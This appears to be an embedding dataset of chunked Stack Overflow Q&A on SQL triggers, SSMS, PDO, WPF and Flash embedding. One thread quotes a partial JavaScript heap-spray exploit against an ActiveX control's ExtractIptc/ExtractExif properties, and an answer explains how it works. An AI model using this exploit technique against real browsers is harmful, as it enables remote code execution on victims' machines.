text
stringlengths
0
30.5k
title
stringclasses
1 value
embeddings
listlengths
768
768
in a single statement. I then ran 4 tests: 1. A single-column update to a single row 2. A single-column update to 10000 rows 3. A nine-column update to a single row 4. A nine-column update to 10000 rows I repeated this test for both indexed and non-indexed versions of the tables, and then repeated the whole thing on...
[ -0.044258035719394684, 0.22506457567214966, 0.378267377614975, -0.08688998967409134, -0.25377872586250305, 0.43411165475845337, 0.4503423273563385, -0.5624629259109497, -0.18080957233905792, -0.3884769082069397, 0.10131537169218063, 0.4552672803401947, -0.4063591957092285, -0.0520182102918...
exception of a single-column change affecting many rows where the column was indexed, running on SQL 2000. In our particular case we don't do many narrow, deep updates like this, so for my purposes the single-statement approach is definitely the way to go. --- I'd be interested in hearing other people's results of si...
[ 0.17748941481113434, 0.13368037343025208, 0.030542686581611633, 0.08776157349348068, -0.08416331559419632, -0.1937497854232788, -0.1146753802895546, -0.035781193524599075, -0.23551365733146667, -0.43391111493110657, 0.1943710893392563, 0.49165287613868713, -0.2024540901184082, -0.123512126...
with: ``` create table test1 ( t_id int NOT NULL PRIMARY KEY, i1 int NULL, i2 int NULL, i3 int NULL, v1 varchar(500) NULL, v2 varchar(500) NULL, v3 varchar(500) NULL, d1 datetime NULL, d2 datetime NULL, d3 datetime NULL ) create table test2 ( t_id int NOT NULL PRIMARY KEY...
[ -0.04400438442826271, 0.010572044178843498, -0.0082083223387599, -0.10717874020338058, 0.0002104782615788281, 0.13783177733421326, 0.251826673746109, -0.5526490807533264, 0.010725727304816246, -0.5873194336891174, -0.2287505716085434, 0.4327782392501831, -0.22179515659809113, 0.06646426767...
v1 varchar(500) NULL, v2 varchar(500) NULL, v3 varchar(500) NULL, d1 datetime NULL, d2 datetime NULL, d3 datetime NULL ) -- optional indexing here, test with it on and off... CREATE INDEX [IX_test1_i1] ON [dbo].[test1] ([i1]) CREATE INDEX [IX_test1_i2] ON [dbo].[test1] ([i2]) CREATE INDEX [IX_test1...
[ 0.051435403525829315, -0.21115313470363617, 0.04310544580221176, 0.17125295102596283, -0.338968962430954, 0.22331522405147552, 0.3231620490550995, -0.6707806587219238, 0.11607509106397629, -0.6721769571304321, -0.2630007565021515, 0.5014148950576782, -0.24986574053764343, 0.129968419671058...
[dbo].[test2] ([i3]) CREATE INDEX [IX_test2_v1] ON [dbo].[test2] ([v1]) CREATE INDEX [IX_test2_v2] ON [dbo].[test2] ([v2]) CREATE INDEX [IX_test2_v3] ON [dbo].[test2] ([v3]) CREATE INDEX [IX_test2_d1] ON [dbo].[test2] ([d1]) CREATE INDEX [IX_test2_d2] ON [dbo].[test2] ([d2]) CREATE INDEX [IX_test2_d3] ON [dbo].[test2] ...
[ 0.14298400282859802, 0.0097826411947608, 0.1144045814871788, 0.07977022230625153, 0.0036801518872380257, 0.308517187833786, 0.2046341896057129, -0.53022700548172, 0.0908384695649147, -0.6110299229621887, -0.26715415716171265, 0.3341408967971802, -0.36949193477630615, 0.05060088634490967, ...
@v3_changed int, @d1_changed int, @d2_changed int, @d3_changed int IF UPDATE(i1) SELECT @i1_changed = COUNT(*) FROM Inserted i INNER JOIN Deleted d ON i.t_id = d.t_id WHERE ISNULL(i.i1,0) != ISNULL(d.i1,0) IF UPDATE(i2) SELECT @i2_changed = COUNT(*) FROM Inserted i INNER JOIN Deleted d ...
[ 0.28840112686157227, -0.3046625554561615, 0.7111470103263855, -0.3493012487888336, -0.1359541267156601, 0.6096103191375732, 0.27563828229904175, -0.6744794845581055, -0.11630965024232864, -0.60948646068573, 0.016963515430688858, 0.6076620817184448, -0.24602769315242767, 0.24407349526882172...
ON i.t_id = d.t_id WHERE ISNULL(i.i3,0) != ISNULL(d.i3,0) IF UPDATE(v1) SELECT @v1_changed = COUNT(*) FROM Inserted i INNER JOIN Deleted d ON i.t_id = d.t_id WHERE ISNULL(i.v1,'') != ISNULL(d.v1,'') IF UPDATE(v2) SELECT @v2_changed = COUNT(*) FROM Inserted i INNER JOIN Deleted d ON i.t_id = d.t_...
[ 0.15742845833301544, -0.2777549922466278, 0.7577782273292542, -0.3416733741760254, 0.05430460348725319, 0.5452383160591125, 0.23460353910923004, -0.5303848385810852, 0.019934408366680145, -0.9498695731163025, -0.33582618832588196, 0.6847401261329651, -0.13757331669330597, 0.295773684978485...
UPDATE(d1) SELECT @d1_changed = COUNT(*) FROM Inserted i INNER JOIN Deleted d ON i.t_id = d.t_id WHERE ISNULL(i.d1,'1/1/1980') != ISNULL(d.d1,'1/1/1980') IF UPDATE(d2) SELECT @d2_changed = COUNT(*) FROM Inserted i INNER JOIN Deleted d ON i.t_id = d.t_id WHERE ISNULL(i.d2,'1/1/1980') != ISNULL(d....
[ -0.12456368654966354, -0.22436825931072235, 0.6326174139976501, -0.3797743618488312, 0.08299336582422256, 0.1035924106836319, 0.2297595590353012, -0.6782597303390503, -0.016795102506875992, -0.5246914625167847, -0.23315007984638214, 0.7315940856933594, -0.2808956503868103, -0.0142060918733...
= CASE WHEN i.i1 > d.i1 THEN i.i1 ELSE d.i1 END FROM test1 INNER JOIN inserted i ON test1.t_id = i.t_id INNER JOIN deleted d ON i.t_id = d.t_id WHERE i.i1 != d.i1 end if (@i2_changed > 0) begin UPDATE test1 SET i2 = CASE WHEN i.i2 > d.i2 THEN POWER(i.i2, 1.1) ELSE POWER(d.i2, 1.1) END F...
[ 0.21594639122486115, -0.2573067545890808, 0.28607961535453796, -0.1977495551109314, -0.061882708221673965, 0.23935344815254211, 0.6397565007209778, -0.8971272706985474, 0.09574321657419205, -0.7159932851791382, -0.22069114446640015, 0.6408331990242004, -0.26693132519721985, 0.0743769034743...
INNER JOIN deleted d ON i.t_id = d.t_id WHERE i.i2 != d.i2 end if (@i3_changed > 0) begin UPDATE test1 SET i3 = i.i3 ^ d.i3 FROM test1 INNER JOIN inserted i ON test1.t_id = i.t_id INNER JOIN deleted d ON i.t_id = d.t_id WHERE i.i3 != d.i3 end if (@v1_changed > 0) begin UPDATE test1...
[ 0.12417790293693542, -0.06940550357103348, 0.14328856766223907, -0.20362459123134613, -0.3526464104652405, 0.42919430136680603, 0.7770078182220459, -0.7818909287452698, 0.1483730673789978, -0.4776264727115631, 0.03630751371383667, 0.6353317499160767, -0.20986345410346985, 0.016935652121901...
INNER JOIN inserted i ON test1.t_id = i.t_id INNER JOIN deleted d ON i.t_id = d.t_id WHERE i.v1 != d.v1 end UPDATE test1 SET v2 = LEFT(i.v2, 5) + '|' + RIGHT(d.v2, 5) FROM test1 INNER JOIN inserted i ON test1.t_id = i.t_id INNER JOIN deleted d ON i.t_id = d.t_id if (@v3_changed > 0) begin UPDA...
[ 0.11444298177957535, -0.22166641056537628, 0.25058069825172424, -0.08673528581857681, -0.1811404675245285, 0.3886338174343109, 0.6704729199409485, -0.7493508458137512, 0.27861860394477844, -0.5999775528907776, -0.04371665045619011, 0.6835429668426514, -0.09427212923765182, -0.0280996412038...
JOIN inserted i ON test1.t_id = i.t_id INNER JOIN deleted d ON i.t_id = d.t_id WHERE i.v3 != d.v3 end if (@d1_changed > 0) begin UPDATE test1 SET d1 = DATEADD(dd, 1, i.d1) FROM test1 INNER JOIN inserted i ON test1.t_id = i.t_id INNER JOIN deleted d ON i.t_id = d.t_id WHERE i.d1 ...
[ 0.2661418318748474, -0.18361912667751312, 0.32002753019332886, -0.027002617716789246, -0.04164537042379379, 0.2572419047355652, 0.42238444089889526, -0.5511958003044128, 0.19955074787139893, -0.6369543075561523, -0.07546829432249069, 0.3043302595615387, -0.1300594061613083, 0.3146806061267...
d.d2) FROM test1 INNER JOIN inserted i ON test1.t_id = i.t_id INNER JOIN deleted d ON i.t_id = d.t_id WHERE i.d2 != d.d2 end UPDATE test1 SET d3 = DATEADD(dd, 15, i.d3) FROM test1 INNER JOIN inserted i ON test1.t_id = i.t_id INNER JOIN deleted d ON i.t_id = d.t_id end go create trigg...
[ 0.2934197187423706, -0.09979958832263947, 0.21693876385688782, -0.061163026839494705, -0.0019011552212759852, 0.24333389103412628, 0.4664825201034546, -0.7922701835632324, 0.052670326083898544, -0.5570808053016663, -0.2282666116952896, 0.40443116426467896, -0.23009251058101654, 0.126591578...
CASE WHEN ISNULL(i.i1, 0) != ISNULL(d.i1, 0) THEN CASE WHEN i.i1 > d.i1 THEN i.i1 ELSE d.i1 END ELSE test2.i1 END, i2 = CASE WHEN ISNULL(i.i2, 0) != ISNULL(d.i2, 0)
[ -0.25416070222854614, -0.3326222896575928, 0.1786537617444992, -0.3021802604198456, 0.049459826201200485, 0.3141307830810547, 0.34664222598075867, -0.5669944882392883, 0.1331036537885666, -0.6149305105209351, -0.12305435538291931, 0.4342328608036041, -0.26352909207344055, 0.093633957207202...
THEN CASE WHEN i.i2 > d.i2 THEN POWER(i.i2, 1.1) ELSE POWER(d.i2, 1.1) END ELSE test2.i2 END, i3 = CASE WHEN ISNULL(i.i3, 0) != ISNULL(d.i3, 0) THEN i.i3 ^ d.i3
[ -0.37074288725852966, -0.3401762843132019, 0.3703044354915619, -0.4053942859172821, -0.024875713512301445, 0.19241909682750702, 0.46262142062187195, -0.8005246520042419, 0.22802062332630157, -0.5695942044258118, -0.09689350426197052, 0.5366487503051758, -0.14919902384281158, -0.20564225316...
ELSE test2.i3 END, v1 = CASE WHEN ISNULL(i.v1, '') != ISNULL(d.v1, '') THEN i.v1 + 'a' ELSE test2.v1 END, v2 = LEFT(i.v2, 5) + '|' + RIGHT(d.v2, 5), v3 =
[ -0.011666600592434406, -0.3171687722206116, 0.23102842271327972, -0.539498507976532, 0.08334863185882568, 0.1898309886455536, 0.327533096075058, -0.7414584755897522, 0.24342672526836395, -0.2693941295146942, -0.1709539294242859, 0.5602858662605286, -0.1298862248659134, -0.3307390511035919,...
CASE WHEN ISNULL(i.v3, '') != ISNULL(d.v3, '') THEN LEFT(i.v3, 5) + '|' + LEFT(i.v2, 5) + '|' + LEFT(i.v1, 5) ELSE test2.v3 END, d1 = CASE WHEN
[ -0.28908202052116394, -0.41795140504837036, 0.29659953713417053, -0.41659045219421387, 0.04960612952709198, 0.2355577051639557, 0.3804589509963989, -0.4919856786727905, 0.07464562356472015, -0.6076595783233643, -0.20100072026252747, 0.5295379161834717, -0.19116386771202087, -0.088328018784...
ISNULL(i.d1, '1/1/1980') != ISNULL(d.d1, '1/1/1980') THEN DATEADD(dd, 1, i.d1) ELSE test2.d1 END, d2 = CASE WHEN ISNULL(i.d2, '1/1/1980') != ISNULL(d.d2, '1/1/1980') THEN DATEADD(dd, DATEDIFF(dd, i.d2, d.d2), d.d2)
[ -0.5324273705482483, -0.3135969042778015, 0.4881912171840668, -0.542717695236206, 0.12683798372745514, 0.19034363329410553, 0.07575605809688568, -0.24931862950325012, -0.10213577002286911, -0.228705495595932, 0.013325219042599201, 0.3424651622772217, 0.034378472715616226, 0.040160950273275...
ELSE test2.d2 END, d3 = DATEADD(dd, 15, i.d3) FROM test2 INNER JOIN inserted i ON test2.t_id = i.t_id INNER JOIN deleted d ON test2.t_id = d.t_id end go ----- -- the below code can be used to confirm that the triggers operated identically over both tables after a test select top 10 test1....
[ 0.19453896582126617, -0.1072990670800209, 0.005572035908699036, -0.0803433433175087, 0.27110186219215393, 0.2656991481781006, 0.49056488275527954, -0.5781779885292053, -0.005798660684376955, -0.3782977759838104, -0.0251492690294981, 0.38651496171951294, -0.2475176900625229, -0.129616782069...
test1.i1 != test2.i1 or test1.i2 != test2.i2 or test1.i3 != test2.i3 or test1.v1 != test2.v1 or test1.v2 != test2.v2 or test1.v3 != test2.v3 or test1.d1 != test2.d1 or test1.d2 != test2.d2 or test1.d3 != test2.d3 -- test 1 -- one column, one row update test1 set i3 = 64 where t_id = ...
[ 0.357395201921463, 0.007675359956920147, -0.2041318267583847, 0.09517557173967361, -0.13713374733924866, 0.48566901683807373, 0.3599599301815033, -0.3619764745235443, 0.2939728796482086, -0.7919247150421143, -0.23206059634685516, 0.39061036705970764, -0.3102506399154663, -0.122444801032543...
i3 = 64 where t_id = 1001 go -- test 2 -- one column, 10000 rows update test1 set v3 = LEFT(v3, 50) where t_id between 10000 and 20000 go update test2 set v3 = LEFT(v3, 50) where t_id between 10000 and 20000 go -- test 3 -- all columns, 1 row, non-self-referential update test1 set i1 = 1000, i2 = 2000, i3 = 3000, v1 ...
[ -0.08468518406152725, 0.1330544352531433, 0.25569021701812744, -0.18551257252693176, -0.24349910020828247, 0.652302086353302, 0.7091274261474609, -0.4571343660354614, 0.029517654329538345, -0.30431416630744934, -0.09488101303577423, 0.4650038182735443, -0.18860548734664917, -0.038920175284...
am v3!!!', d1 = '1/1/1985', d2 = '1/1/1988', d3 = NULL where t_id = 3000 go -- test 4 -- all columns, 10000 rows, non-self-referential update test1 set i1 = 1000, i2 = 2000, i3 = 3000, v1 = 'R12345123', v2 = 'Happy!', v3 = 'I am v3!!!', d1 = '1/1/1985', d2 = '1/1/1988', d3 = NULL where t_id between 30000 and 40000 go ...
[ -0.24804604053497314, 0.5135842561721802, 0.5569825172424316, -0.32335326075553894, -0.052442144602537155, 0.6050622463226318, 0.8182358145713806, -0.7089315056800842, -0.12681670486927032, -0.2682656943798065, -0.12189260125160217, 0.7270074486732483, -0.11520371586084366, -0.098755553364...
Open a new query window. Write some SQL. Save the script, the Save File As dialog box opens - but always to the same default location in the Profiles directory. Is there any way to set my default file location? ...Like I used to do with apps from the 1980s? Under Tools|Options a default location can be specified for q...
[ 0.301837295293808, 0.1821281462907791, 0.5159416794776917, -0.1882055699825287, 0.266671746969223, -0.04673989862203598, 0.4397095739841461, 0.03930042311549187, -0.3503890037536621, -0.8782925605773926, 0.235589399933815, 0.5415396690368652, -0.27695319056510925, -0.026898423209786415, ...
an old question, but I found a link expaining how to do this properly, at least for SQL 2005. Think it will work for later versions as well. [Changing the my projects folder](https://web.archive.org/web/20110829003107/http://visualstudiohacks.com/options/changing-the-my-projects-folder-location-and-other-settings-in-s...
[ 0.4803823232650757, -0.008304271847009659, 0.8690623641014099, -0.07883540540933609, 0.21688948571681976, -0.04002854973077774, 0.1339268684387207, -0.12384674698114395, -0.33805376291275024, -0.8384055495262146, 0.17643621563911438, 0.2928473651409149, 0.1710330694913864, 0.03576464578509...
of the `My Projects` folder. Simply > change the value, and the next time you open SSMS the `My Projects` > folder will be mapped.
[ 0.52197265625, 0.07028334587812424, 0.42886778712272644, 0.1485518217086792, 0.1536039263010025, -0.4810357987880707, 0.21611516177654266, 0.15352945029735565, -0.375377893447876, -0.9392110705375671, -0.18703727424144745, 0.3647667169570923, -0.11637136340141296, 0.12583477795124054, 0....
i'm hacking some samba internals, and I want to log, what's written in read\_file and write\_file, exactly I want to get file name, directory, and how much bytes are written. in struct files\_struct, there is defined file name (char\* fsp\_name), and I can count number of written bytes, but in files\_struct there is n...
[ 0.07753179967403412, 0.42244648933410645, 0.024945739656686783, 0.07054920494556427, -0.15884727239608765, 0.051083892583847046, 0.0633789598941803, 0.021377766504883766, -0.44257286190986633, -0.7505410313606262, 0.5079260468482971, 0.39554962515830994, -0.28345879912376404, -0.0723411589...
my projects folder](https://web.archive.org/web/20110829003107/http://visualstudiohacks.com/options/changing-the-my-projects-folder-location-and-other-settings-in-ssms//) > The settings are stored in an `.vssettings` XML file in `My Documents\SQL Server Management Studio\Settings` folder. Make sure you close SSMS > be...
[ 0.5222823023796082, 0.13841503858566284, 0.7858763337135315, -0.04370546340942383, 0.28866681456565857, 0.052126895636320114, 0.18219058215618134, -0.13812081515789032, -0.4252796173095703, -1.0525742769241333, -0.07151856273412704, 0.23354054987430573, 0.12902317941188812, 0.2041855901479...
simple question: I'm looking for a standards compliant way to embed a flash file. I've been using Dreamweaver for this project (not because I like it, but because my co-worker isn't an HTML guru) and it apparantly uses non-standard code to embed flash files. It's probably standard in HTML, but not so much in XHTML whic...
[ 0.6192201972007751, 0.43664586544036865, -0.029928600415587425, 0.17180489003658295, -0.07509303092956543, -0.29617127776145935, 0.1101771891117096, 0.3673942983150482, -0.10620914399623871, -0.77524334192276, 0.21850170195102692, 0.37832266092300415, -0.2955913841724396, -0.00418707309290...
enabled. Thanks, I can post my existing non-compliant code if needed. [Here's some info on the Satay methods.](http://www.alistapart.com/articles/flashsatay) The standards compliant way is to use the <object /> tag, with the appropriate type set. However, the support across different browsers is pretty sketchy. Your ...
[ 0.33855363726615906, -0.077912338078022, 0.38017433881759644, 0.06968652456998825, -0.16916398704051971, -0.24283336102962494, 0.38505834341049194, -0.08204497396945953, -0.08927702903747559, -0.7673600316047668, -0.37676170468330383, 0.6236428022384644, -0.34331387281417847, -0.3891101777...
as well. I don't like it any better than you do to be honest, but it really is the easiest way to make sure it works... below is an example if you chose to go that path. ``` <object id="myflash" type="application/x-shockwave-flash" data="myfile.swf"> <param name="movie" value="myfile.swf" /> </object> ```
[ 0.7065023183822632, 0.003525158390402794, 0.3422276973724365, 0.26069286465644836, -0.09817373752593994, -0.47872331738471985, 0.17623722553253174, -0.12434855848550797, -0.3144446313381195, -0.14849746227264404, -0.055490829050540924, 0.7629782557487488, 0.21991436183452606, 0.06510360538...
I do not understand this code snippet : ``` function ms(){ var plc=unescape('". unescape( '\x43\x43\x43\x43\n.............\xEF'. $URL).CollectGarbage(); if (mf)return(0); mf=1; var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38); var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs; ...
[ -0.04283454641699791, -0.08548381924629211, 0.6542287468910217, -0.26692995429039, -0.038086794316768646, 0.07742053270339966, 0.31400930881500244, -0.4426819980144501, -0.4126758277416229, -0.31107568740844727, -0.36412620544433594, 0.5680311918258667, -0.591424286365509, 0.37420767545700...
fb(){ try { var obj=null; obj=cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}'); if(obj){ ms(); var buf = addr(0x0c0c0c0c); while (buf.length < 400) buf += buf; buf = buf.substring(0,400);
[ -0.36985382437705994, -0.21572034060955048, 0.8289190530776978, -0.7883080244064331, 0.19330860674381256, 0.7061867713928223, 0.6139377355575562, -0.47367194294929504, -0.1085725650191307, -0.4591601490974426, -0.6450499892234802, 0.5138788223266602, -0.41492095589637756, 0.109086722135543...
obj.ExtractIptc = buf; obj.ExtractExif = buf; } } catch(e){} return 0; } ``` What does the following code mean? > `cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}')` What kind of variable is this? ``` var buf = addr(0x0c0c0c0c); buf = buf.substring(0,400); obj.ExtractIptc = bu...
[ -0.2223833203315735, -0.168394073843956, 0.7129297256469727, -0.34526994824409485, -0.034605927765369415, 0.4356100857257843, 0.18984824419021606, -0.12174444645643234, -0.2606600821018219, -0.1919996738433838, -0.3104191720485687, 0.30581948161125183, -0.5216872096061707, 0.23646916449069...
num=num>>>4; hex=digits.substr(num&0xF,1)+hex; } var width=(width?width:0); while(hex.length<width)hex='0'+hex; return hex; } function addr(addr){ return unescape('%u'+hex(addr&0xFFFF,4)+'%u'+hex((addr>>16)&0xFFFF,4)); } ``` Any guidance would be appreciated. It's a javascript s...
[ -0.07157416641712189, -0.16991965472698212, 0.4101914167404175, 0.0028511250857263803, 0.012521401047706604, 0.2201506793498993, 0.15371745824813843, -0.31906166672706604, -0.08069268614053726, -0.4200010895729065, -0.19743284583091736, 0.3579961955547333, -0.3553643822669983, 0.0172801073...
specific ActiveX control. The core of the code is really memory address manipulation, shifting, using masks to separate high and low bits. For example, `hex((addr>>16)&0xFFFF,4))` takes an address, shifts it 16 bits to the right, clears up the lower part and converts it to a hex number. To actually understand most of ...
[ -0.18274743854999542, -0.19657233357429504, 0.3368946313858032, 0.2113564908504486, 0.014844120480120182, -0.09459997713565826, 0.053964532911777496, -0.25885865092277527, -0.05327462777495384, -0.4369252622127533, -0.2633051872253418, 0.28165459632873535, -0.5729390978813171, 0.0017590740...
form `{0000000000-0000-0000-0000-000000000000}`. When you want to refer to the registered library, and create an instance of it, you can use either its name or its Class ID. The ActiveX control itself should be an .OCX or .DLL file on your computer. If you can find this file and debug it, you'll get most specific det...
[ 0.0034727000165730715, -0.2721290588378906, 0.6837875247001648, 0.12740378081798553, 0.18967285752296448, -0.24697725474834442, -0.09106554090976715, 0.0015413814689964056, 0.039021581411361694, -0.3873254060745239, -0.21455979347229004, 0.34518295526504517, -0.43550294637680054, 0.0876540...
same as writing `var hsta = 202116108`. In computer engineering, it's easier to deal with hexadecimal addresses than decimal numbers since addresses and data inside the computer's memory is binary and can be directly represented as a hex number. More details about hexadecimal there: <http://en.wikipedia.org/wiki/Hexade...
[ 0.2492280900478363, 0.07239942997694016, 0.22836513817310333, 0.14717350900173187, -0.13785195350646973, -0.052275825291872025, -0.5958324670791626, -0.07152298837900162, -0.20962762832641602, -0.16386453807353973, -0.2805595099925995, -0.021581115201115608, -0.11668962240219116, 0.1388378...
the computer will execute if the exploit was successful, and it's what you see at the beginning of the script `(\x43\x43\x43\x43\n....\xEF)`. It's encoded as [shell code](https://stackoverflow.com/questions/1469559/help-me-understand-this-c-code-void-scode) for a particular CPU architecture and operating system. That m...
[ -0.05958804860711098, 0.2203385978937149, 0.40588539838790894, -0.10601814091205597, 0.3069548010826111, 0.07763029634952545, 0.2520054578781128, 0.08377210795879364, -0.015151264145970345, -0.472047358751297, -0.251259446144104, 0.477389395236969, -0.05677394941449165, 0.2295839935541153,...
resulting hexadecimal number is bigger than specified. About this part: ``` var buf = addr(0x0c0c0c0c); buf = buf.substring(0,400); obj.ExtractIptc = buf; obj.ExtractExif = buf; ``` The buf variable is a buffer. A buffer is nothing more than data in memory. It can be interfaced as a string, as shown in this code. M...
[ -0.28276392817497253, 0.06557893753051758, 0.6094110608100891, -0.4351414740085602, -0.014132740907371044, 0.4256358742713928, -0.057568054646253586, -0.2457331269979477, -0.1279590129852295, -0.44021138548851013, -0.2421933114528656, 0.223868727684021, -0.4429492950439453, 0.2386468052864...
I am switching from plain mysql in php to PDO and I have noticed that the common way to test for errors is using a try / catch combination instead of if / else combinations. What is the advantage of that method, can I use one try / catch block instead of several nested if / else blocks to handle all errors for the dif...
[ 0.4204801023006439, -0.05307794734835625, -0.14755560457706451, 0.06638845801353455, -0.2568143308162689, -0.1520739197731018, 0.030223844572901726, 0.04263339191675186, -0.08221082389354706, -0.78016597032547, -0.05701681226491928, 0.325313925743103, -0.20267125964164734, -0.2696899771690...
expired or incorrect. I wouldn't necessarily use it to handle non-exceptional errors -- say like the current user not being in the correct role. That is, when you can reasonably expect and handle an error that is not an exceptional condition, I think you should do your checks. In the case that you've described -- sett...
[ 0.1151227205991745, 0.12077675014734268, 0.12331103533506393, 0.37493669986724854, 0.40120694041252136, -0.25163140892982483, 0.06156744062900543, 0.048194196075201035, -0.17824199795722961, -0.26910459995269775, -0.01243970450013876, 0.41344359517097473, -0.0630473867058754, 0.00428913254...
rather than just attempting to use data that may not be valid for your purpose. One thing that you want to look out for is sloppy use of try/catch. Try/catch shouldn't be used to protect yourself from bad programming -- the "I don't know what will happen if I do this so I'm going to wrap it in a try/catch and hope for...
[ 0.6258395314216614, 0.15200598537921906, -0.07200086861848831, 0.3202114999294281, 0.1639644056558609, -0.33019256591796875, 0.38742315769195557, -0.01778196357190609, -0.34833261370658875, -0.379762202501297, 0.11139080673456192, 0.29563143849372864, -0.28856217861175537, -0.0343518704175...
errors that are code related (null pointers, etc.).
[ 0.11669603735208511, 0.4523278772830963, -0.19992685317993164, 0.31513938307762146, 0.18689416348934174, -0.023059653118252754, 0.4435282349586487, 0.2502864599227905, -0.21539224684238434, -0.597506582736969, -0.2690505385398865, 0.2712894678115845, -0.2654224634170532, -0.000231582482228...
I am using Django admin for managing my data. I have the following tables: `Users`, `Groups`, and `Domains`. `Users` has a many-to-many relationship with both `Groups` and `Domains`. `Domains` has a one-to-many relationship with `Groups`. When I remove a `User` from a `Domain`, I also want to remove any entries in `Use...
[ -0.13117188215255737, 0.46453937888145447, 0.2465367615222931, -0.1884513944387436, -0.12187045812606812, -0.0426240935921669, -0.03746229410171509, -0.3305307924747467, 0.10177291184663773, -0.6656432151794434, 0.031613390892744064, 0.5550782680511475, -0.4249107241630554, 0.0565530098974...
system call changes the access and modification times of the > inode specified by filename to the actime and modtime fields of times > respectively. > > > If times is `NULL`, then the access and modification times of the file are > set to the current time.
[ -0.16136078536510468, -0.260233074426651, 0.5842424035072327, 0.030332772061228752, 0.32416263222694397, 0.06118785962462425, 0.2724769413471222, -0.28025853633880615, -0.019000697880983353, -0.9106941819190979, -0.1786559820175171, 0.5149505138397217, -0.3725307583808899, 0.28258916735649...
When you're making a page that is visually broken down into specific regions, do you break those regions down into controls, or do you put everything on the page and in one code-behind? If regions are separated into controls, how do you facilitate communication among the controls? By communication I mean simply excha...
[ 0.27015888690948486, -0.11928130686283112, 0.4565960764884949, 0.41312119364738464, 0.04710391163825989, 0.11271554231643677, -0.22609664499759674, -0.11380770057439804, -0.2350771725177765, -0.8477166891098022, 0.10059244930744171, 0.09635374695062637, -0.25294122099876404, 0.268256068229...
with each other. The code-behind for this would be at least a couple thousand lines. Any resources on making these types of design decisions would be helpful. Thanks There are a few reasons you may use user controls, for example: * **Modular code**: instead of one bloated page class, you can partition the code i...
[ 0.43066880106925964, -0.00011480342072900385, 0.20879562199115753, 0.48874524235725403, -0.003028817707672715, 0.14455698430538177, 0.30415913462638855, -0.17172804474830627, -0.43540874123573303, -1.0230754613876343, 0.02393852360546589, 0.19016925990581512, -0.2298516184091568, 0.1318369...
much easier to build it once and then re-use it several times. Thus, if you have common UI components that are re-used in many places, user controls can help you. Of course there is a price to pay, each control has to expose properties that allow its parent containers to control it, and it has to expose events to noti...
[ 0.1537569910287857, 0.004509409423917532, -0.024668345227837563, 0.3923371136188507, 0.14174994826316833, -0.28508880734443665, 0.3082813024520874, -0.0035937929060310125, -0.19682137668132782, -0.7936685681343079, -0.14948254823684692, 0.3200061023235321, -0.1236337199807167, 0.1260452419...
down many parts of your page into logical components that have clearly defined separation of responsibility, then they are ideal candidates for user controls. Its just like when you are defining classes, and yat some point a class may become too complex and you decide to partition it into several smaller classes, only ...
[ 0.0870777815580368, 0.007670927792787552, -0.10747858881950378, 0.6366446018218994, -0.050782352685928345, -0.08531823754310608, 0.2170560210943222, 0.1632595658302307, -0.22600893676280975, -0.5941177010536194, 0.24738022685050964, 0.21930427849292755, -0.1569480299949646, 0.3575747311115...
happy medium where controls do just enough, not too much, and you don't have too many controls. Here are some tutorials on user control communication <http://www.codeproject.com/KB/user-controls/Page_UserControl.aspx> <http://aspalliance.com/1461_Page_and_User_Control_Communication>
[ -0.04671638086438179, -0.013167217373847961, 0.7483125329017639, 0.15997780859470367, 0.1990525871515274, -0.16247984766960144, 0.12480174750089645, -0.04078565910458565, -0.4312686026096344, -0.4859866797924042, -0.35604244470596313, 0.4807990491390228, -0.21557815372943878, 0.04312903806...
I have a website which google blocked because it had badware i removed the viruses from the server and its completely clean now, the problem that this virus changed in the html, js asp files in the site and added hidden iframes and strange scripts, i removed all what i found in the diles, but the website is toooo big, ...
[ 0.7153868675231934, 0.021522829309105873, 0.13648661971092224, 0.1539594978094101, -0.17848186194896698, -0.29129382967948914, 0.6448234915733337, 0.4010746479034424, -0.09206362068653107, -0.4336540102958679, 0.16369350254535675, 0.34765687584877014, -0.45352914929389954, 0.53058844804763...
source control DB. If you dont follow source control, its high time you start doing it. ;-) Find a good search and replace tool. If you are using Dream weaver then you can do a site wide search. The same is applicable to Visual Interdev as well.
[ 0.18137100338935852, -0.3803597688674927, 0.2080317586660385, 0.3293948769569397, -0.44225984811782837, -0.21254365146160126, 0.20245149731636047, -0.04149726405739784, 0.010035073384642601, -0.8909531235694885, -0.04579354077577591, 0.473142147064209, -0.29417264461517334, 0.2967549562454...
I am having fun with WPF and got a problem. I have googled and found this [website](http://social.msdn.microsoft.com/Forums/en-US/wpf/thread/878ea631-c76e-49e8-9e25-81e76a3c4fe3/) that has the same problem of me but without any working solution. The problem is that I have a button that do some processing of data (arou...
[ 0.1712903380393982, -0.07507334649562836, 0.6252724528312683, 0.051709212362766266, 0.028900515288114548, -0.2452620267868042, 0.5454347729682922, -0.02571769431233406, -0.5160749554634094, -0.6964904069900513, -0.07883274555206299, 0.7169657349586487, -0.2450367957353592, -0.0995735004544...
= false; //Long stuff here txtLog.AppendText(Environment.NewLine + "Blabla"); //End long stuff here this.button1.IsEnabled = true; } ``` As others have said, use the [`BackgroundWorker`](http://msdn.microsoft.com/en-us/library/system.componentmodel.backgroundworker.aspx) or some other...
[ 0.31642094254493713, -0.2733253538608551, 0.3284163475036621, -0.18578839302062988, 0.32212936878204346, 0.048546623438596725, 0.18842075765132904, 0.032278306782245636, -0.36663782596588135, -0.28545942902565, -0.295021116733551, 0.4827883839607239, -0.4984864592552185, 0.0472045131027698...
_bw = new BackgroundWorker(); _bw.DoWork += new DoWorkEventHandler((o, args) => { //Long stuff here this.Dispatcher.Invoke((Action)(() => txtLog.AppendText(Environment.NewLine + "Blabla"))); }); _bw.RunWorkerCompleted += new RunWorkerCompletedEventHandler((o, args) => { ...
[ 0.15562967956066132, -0.27642762660980225, 0.6675870418548584, -0.4232650101184845, 0.39265814423561096, 0.13792680203914642, 0.5142407417297363, -0.37009596824645996, -0.4090459942817688, -0.4048490822315216, -0.5273427963256836, 0.7802869081497192, -0.5136390924453735, 0.2556469440460205...
this.button1.IsEnabled = false; _bw.RunWorkerAsync(); } ``` Note that anything that modifies your UI from another thread must be done within a [`Dispatcher.Invoke`](http://msdn.microsoft.com/en-us/library/system.windows.threading.dispatcher.invoke.aspx) or [`Dispatcher.BeginInvoke`](http://msdn.microsoft.com/en-...
